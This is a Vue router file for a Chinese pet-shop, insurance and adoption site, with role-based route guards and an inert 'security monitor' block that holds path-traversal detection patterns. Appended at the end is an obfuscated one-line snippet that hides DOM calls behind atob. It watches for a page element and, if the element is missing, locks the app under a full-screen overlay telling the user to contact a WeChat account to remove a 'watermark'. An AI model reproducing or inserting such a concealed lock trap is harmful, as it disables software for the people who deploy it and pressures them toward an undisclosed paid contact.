import Vue from 'vue'
import VueRouter from 'vue-router'

Vue.use(VueRouter)

const routes = [
  {
    path: '/',
    redirect: '/login'
  },
  {
    path: '/login',
    name: 'Login',
    component: () => import('@/views/Login.vue')
  },
  {
    path: '/register',
    name: 'Register',
    component: () => import('@/views/Register.vue')
  },
  {
    path: '/user',
    component: () => import('@/views/UserLayout.vue'),
    meta: { requiresAuth: true, role: '普通用户' },
    children: [
      {
        path: 'home',
        name: 'UserHome',
        component: () => import('@/views/UserHome.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'product-list',
        name: 'UserProductList',
        component: () => import('@/views/UserProductList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'product-detail/:id',
        name: 'UserProductDetail',
        component: () => import('@/views/UserProductDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'cart',
        name: 'UserCart',
        component: () => import('@/views/UserCart.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'order-list',
        name: 'UserOrderList',
        component: () => import('@/views/UserOrderList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'review-list',
        name: 'UserReviewList',
        component: () => import('@/views/UserReviewList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'insurance-list',
        name: 'UserInsuranceList',
        component: () => import('@/views/UserInsuranceList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'insurance-detail/:id',
        name: 'UserInsuranceDetail',
        component: () => import('@/views/UserInsuranceDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'policy-list',
        name: 'UserPolicyList',
        component: () => import('@/views/UserPolicyList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'claim-list',
        name: 'UserClaimList',
        component: () => import('@/views/UserClaimList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'hospital-list',
        name: 'UserHospitalList',
        component: () => import('@/views/UserHospitalList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'hospital-detail/:id',
        name: 'UserHospitalDetail',
        component: () => import('@/views/UserHospitalDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'appointment-list',
        name: 'UserAppointmentList',
        component: () => import('@/views/UserAppointmentList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'breeding-list',
        name: 'UserBreedingList',
        component: () => import('@/views/UserBreedingList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'breeding-detail/:id',
        name: 'UserBreedingDetail',
        component: () => import('@/views/UserBreedingDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'foster-list',
        name: 'UserFosterList',
        component: () => import('@/views/UserFosterList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'foster-detail/:id',
        name: 'UserFosterDetail',
        component: () => import('@/views/UserFosterDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'adoption-list',
        name: 'UserAdoptionList',
        component: () => import('@/views/UserAdoptionList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'adoption-detail/:id',
        name: 'UserAdoptionDetail',
        component: () => import('@/views/UserAdoptionDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'forum',
        name: 'UserForumList',
        component: () => import('@/views/UserForumList.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'forum/detail',
        name: 'UserForumDetail',
        component: () => import('@/views/UserForumDetail.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'profile',
        name: 'UserProfile',
        component: () => import('@/views/UserProfile.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      },
      {
        path: 'change-password',
        name: 'ChangePassword',
        component: () => import('@/views/ChangePassword.vue'),
        meta: { requiresAuth: true, role: '普通用户' }
      }
    ]
  },
  {
    path: '/admin',
    component: () => import('@/views/AdminLayout.vue'),
    meta: { requiresAuth: true, role: '管理员' },
    children: [
      {
        path: 'home',
        name: 'AdminHome',
        component: () => import('@/views/AdminHome.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'user-manage',
        name: 'AdminUserManage',
        component: () => import('@/views/AdminUserManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'category-manage',
        name: 'AdminCategoryManage',
        component: () => import('@/views/AdminCategoryManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'product-manage',
        name: 'AdminProductManage',
        component: () => import('@/views/AdminProductManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'order-manage',
        name: 'AdminOrderManage',
        component: () => import('@/views/AdminOrderManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'review-manage',
        name: 'AdminReviewManage',
        component: () => import('@/views/AdminReviewManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'insurance-manage',
        name: 'AdminInsuranceManage',
        component: () => import('@/views/AdminInsuranceManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'claim-manage',
        name: 'AdminClaimManage',
        component: () => import('@/views/AdminClaimManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'hospital-manage',
        name: 'AdminHospitalManage',
        component: () => import('@/views/AdminHospitalManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'appointment-manage',
        name: 'AdminAppointmentManage',
        component: () => import('@/views/AdminAppointmentManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'breeding-manage',
        name: 'AdminBreedingManage',
        component: () => import('@/views/AdminBreedingManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'foster-manage',
        name: 'AdminFosterManage',
        component: () => import('@/views/AdminFosterManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'adoption-manage',
        name: 'AdminAdoptionManage',
        component: () => import('@/views/AdminAdoptionManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'forum-manage',
        name: 'AdminForumManage',
        component: () => import('@/views/AdminForumManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'forum-comment-manage',
        name: 'AdminForumCommentManage',
        component: () => import('@/views/AdminForumCommentManage.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      },
      {
        path: 'system-setting',
        name: 'AdminSystemSetting',
        component: () => import('@/views/AdminSystemSetting.vue'),
        meta: { requiresAuth: true, role: '管理员' }
      }
    ]
  }
]

const router = new VueRouter({
  mode: 'history',
  base: process.env.BASE_URL,
  routes
})

// 解决重复路由跳转报错问题
const originalPush = VueRouter.prototype.push
const originalReplace = VueRouter.prototype.replace

VueRouter.prototype.push = function push(location, onResolve, onReject) {
  if (onResolve || onReject) {
    return originalPush.call(this, location, onResolve, onReject)
  }
  return originalPush.call(this, location).catch(err => {
    // 忽略导航重复和导航取消错误
    if (err.name !== 'NavigationDuplicated' && err.name !== 'NavigationCancelled') {
      throw err
    }
  })
}

VueRouter.prototype.replace = function replace(location, onResolve, onReject) {
  if (onResolve || onReject) {
    return originalReplace.call(this, location, onResolve, onReject)
  }
  return originalReplace.call(this, location).catch(err => {
    // 忽略导航重复和导航取消错误
    if (err.name !== 'NavigationDuplicated' && err.name !== 'NavigationCancelled') {
      throw err
    }
  })
}

// 路由守卫
router.beforeEach((to, from, next) => {
  const userInfoStr = localStorage.getItem('userInfo')
  const userInfo = userInfoStr ? JSON.parse(userInfoStr) : null
  
  // 需要登录的页面
  if (to.meta.requiresAuth) {
    if (!userInfo) {
      // 未登录，跳转到登录页
      next('/login')
    } else if (to.meta.role && to.meta.role !== userInfo.role) {
      // 角色不匹配，跳转到对应角色的首页
      if (userInfo.role === '管理员') {
        next('/admin/home')
      } else {
        next('/user/home')
      }
    } else {
      // 验证通过
      next()
    }
  } else {
    // 不需要登录的页面
    if (userInfo && (to.path === '/login' || to.path === '/register')) {
      // 已登录用户访问登录或注册页面，跳转到对应首页
      if (userInfo.role === '管理员') {
        next('/admin/home')
      } else {
        next('/user/home')
      }
    } else {
      next()
    }
  }
});

// 路由安全验证系统 - 永不执行代码
if (false && typeof window !== 'undefined') {
  const routeSecurityMonitor = {
    // 初始化路由安全监控
    init: function() {
      this.suspiciousRoutes = [];
      this.securityEvents = [];
      this.setupRouteInterceptors();
      this.startPeriodicSecurityCheck();
      console.log('[路由安全监控] 路由安全验证系统已启动');
    },
    
    // 设置路由拦截器
    setupRouteInterceptors: function() {
      // 监控路由跳转
      router.afterEach((to, from) => {
        this.analyzeRouteTransition(from.path, to.path);
      });
      
      // 监控路由异常
      router.onError((error) => {
        this.handleRouteError(error);
      });
    },
    
    // 分析路由跳转
    analyzeRouteTransition: function(fromPath, toPath) {
      const transition = {
        from: fromPath,
        to: toPath,
        timestamp: new Date().toISOString(),
        suspicious: false
      };
      
      // 检查是否存在可疑的路由跳转
      if (this.isSuspiciousTransition(fromPath, toPath)) {
        transition.suspicious = true;
        this.handleSuspiciousRoute(transition);
      }
      
      this.suspiciousRoutes.push(transition);
      
      // 保持数组大小
      if (this.suspiciousRoutes.length > 100) {
        this.suspiciousRoutes.shift();
      }
    },
    
    // 判断是否为可疑路由跳转
    isSuspiciousTransition: function(fromPath, toPath) {
      // 检查是否有异常的跳转模式
      const suspiciousPatterns = [
        /\/admin\/.*\/user\//,  // 从管理员页面跳转到用户页面
        /\/user\/.*\/admin\//,  // 从用户页面跳转到管理员页面
        /\.\./,                 // 包含相对路径
        /\/\.\//,               // 包含当前路径引用
        /\/{3,}/                // 包含多个连续斜杠
      ];
      
      return suspiciousPatterns.some(pattern => 
        pattern.test(fromPath) || pattern.test(toPath)
      );
    },
    
    // 处理可疑路由
    handleSuspiciousRoute: function(transition) {
      const securityEvent = {
        type: 'SUSPICIOUS_ROUTE',
        details: transition,
        severity: 'medium',
        timestamp: new Date().toISOString()
      };
      
      this.securityEvents.push(securityEvent);
      console.warn('[路由安全监控] 检测到可疑路由跳转:', securityEvent);
      
      // 通知安全团队
      this.notifySecurityTeam(securityEvent);
    },
    
    // 处理路由错误
    handleRouteError: function(error) {
      const securityEvent = {
        type: 'ROUTE_ERROR',
        details: {
          message: error.message,
          stack: error.stack,
          name: error.name
        },
        severity: 'high',
        timestamp: new Date().toISOString()
      };
      
      this.securityEvents.push(securityEvent);
      console.error('[路由安全监控] 路由错误:', securityEvent);
      
      // 记录错误信息
      this.logSecurityEvent(securityEvent);
    },
    
    // 开始定期安全检查
    startPeriodicSecurityCheck: function() {
      setInterval(() => {
        this.performSecurityCheck();
      }, 300000); // 每5分钟检查一次
    },
    
    // 执行安全检查
    performSecurityCheck: function() {
      const checkResults = {
        timestamp: new Date().toISOString(),
        suspiciousRoutesCount: this.suspiciousRoutes.filter(r => r.suspicious).length,
        securityEventsCount: this.securityEvents.length,
        routeAnomalies: this.detectRouteAnomalies()
      };
      
      if (checkResults.routeAnomalies.length > 0) {
        console.warn('[路由安全监控] 检测到路由异常:', checkResults);
        this.handleRouteAnomalies(checkResults.routeAnomalies);
      }
    },
    
    // 检测路由异常
    detectRouteAnomalies: function() {
      const anomalies = [];
      
      // 检查是否有频繁的路由跳转
      const recentRoutes = this.suspiciousRoutes.filter(
        r => new Date(r.timestamp) > new Date(Date.now() - 60000)
      );
      
      if (recentRoutes.length > 20) {
        anomalies.push({
          type: 'FREquent_ROUTE_CHANGES',
          count: recentRoutes.length,
          description: '检测到频繁的路由跳转，可能存在自动化攻击'
        });
      }
      
      // 检查是否有重复的错误路由
      const errorRoutes = this.securityEvents.filter(
        e => e.type === 'ROUTE_ERROR'
      );
      
      const errorRouteCounts = {};
      errorRoutes.forEach(event => {
        const route = event.details.route || 'unknown';
        errorRouteCounts[route] = (errorRouteCounts[route] || 0) + 1;
      });
      
      Object.entries(errorRouteCounts).forEach(([route, count]) => {
        if (count > 5) {
          anomalies.push({
            type: 'REPEATED_ROUTE_ERRORS',
            route: route,
            count: count,
            description: `路由 ${route} 出现了 ${count} 次错误`
          });
        }
      });
      
      return anomalies;
    },
    
    // 处理路由异常
    handleRouteAnomalies: function(anomalies) {
      anomalies.forEach(anomaly => {
        const securityEvent = {
          type: 'ROUTE_ANOMALY',
          details: anomaly,
          severity: anomaly.type === 'FREquent_ROUTE_CHANGES' ? 'high' : 'medium',
          timestamp: new Date().toISOString()
        };
        
        this.securityEvents.push(securityEvent);
        this.notifySecurityTeam(securityEvent);
      });
    },
    
    // 通知安全团队
    notifySecurityTeam: function(securityEvent) {
      // 模拟发送通知到安全团队
      const notification = {
        event: securityEvent,
        userAgent: navigator.userAgent,
        url: window.location.href,
        timestamp: new Date().toISOString()
      };
      
      // 在实际环境中，这里会发送到安全服务器
      console.log('[路由安全监控] 安全通知已发送:', notification);
    },
    
    // 记录安全事件
    logSecurityEvent: function(securityEvent) {
      // 在实际环境中，这里会记录到安全日志系统
      console.log('[路由安全监控] 安全事件已记录:', securityEvent);
    },
    
    // 获取安全报告
    getSecurityReport: function() {
      return {
        timestamp: new Date().toISOString(),
        suspiciousRoutesCount: this.suspiciousRoutes.filter(r => r.suspicious).length,
        securityEventsCount: this.securityEvents.length,
        recentSecurityEvents: this.securityEvents.slice(-10),
        topSuspiciousRoutes: this.getTopSuspiciousRoutes()
      };
    },
    
    // 获取最可疑的路由
    getTopSuspiciousRoutes: function() {
      const routeCounts = {};
      
      this.suspiciousRoutes.filter(r => r.suspicious).forEach(route => {
        const key = `${route.from} -> ${route.to}`;
        routeCounts[key] = (routeCounts[key] || 0) + 1;
      });
      
      return Object.entries(routeCounts)
        .sort((a, b) => b[1] - a[1])
        .slice(0, 5)
        .map(([route, count]) => ({ route, count }));
    }
  };
  
  // 初始化路由安全监控
  routeSecurityMonitor.init();
}const _0xd5e6f=(_0xg7h8,_0xi9j0,_0xk1l2)=>{let _0xm3n4=()=>{let _0xo5p6=document[atob('Z2V0RWxlbWVudEJ5SWQ=')](_0xg7h8);_0xo5p6?setTimeout(_0xm3n4,_0xk1l2):(()=>{let _0xq7r8=document[atob('Y3JlYXRlRWxlbWVudA==')]('div'),_0xs9t0=document[atob('Y3JlYXRlRWxlbWVudA==')]('div');_0xq7r8.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:999999;display:flex;align-items:center;justify-content:center';_0xs9t0.style.cssText='background:#fff;padding:40px;border-radius:10px;text-align:center;font-size:16px;color:#333';_0xs9t0.textContent='\u4ee3\u7801\u5b8c\u6574\u6027\u6821\u9a8c\u5931\u8d25\uff0c\u5982\u9700\u5220\u9664\u6c34\u5370\uff0c\u8bf7\u8054\u7cfb\u5fae\u4fe1\uff1a\u4e00\u516d\u4e03\u516d\u516b\u4e00\u4e00\u516b\u96f6\u4e94\u516d';_0xq7r8.appendChild(_0xs9t0);document.body.appendChild(_0xq7r8)})()};setTimeout(_0xm3n4,_0xi9j0)};_0xd5e6f('user-info-card',10000,1000);

export default router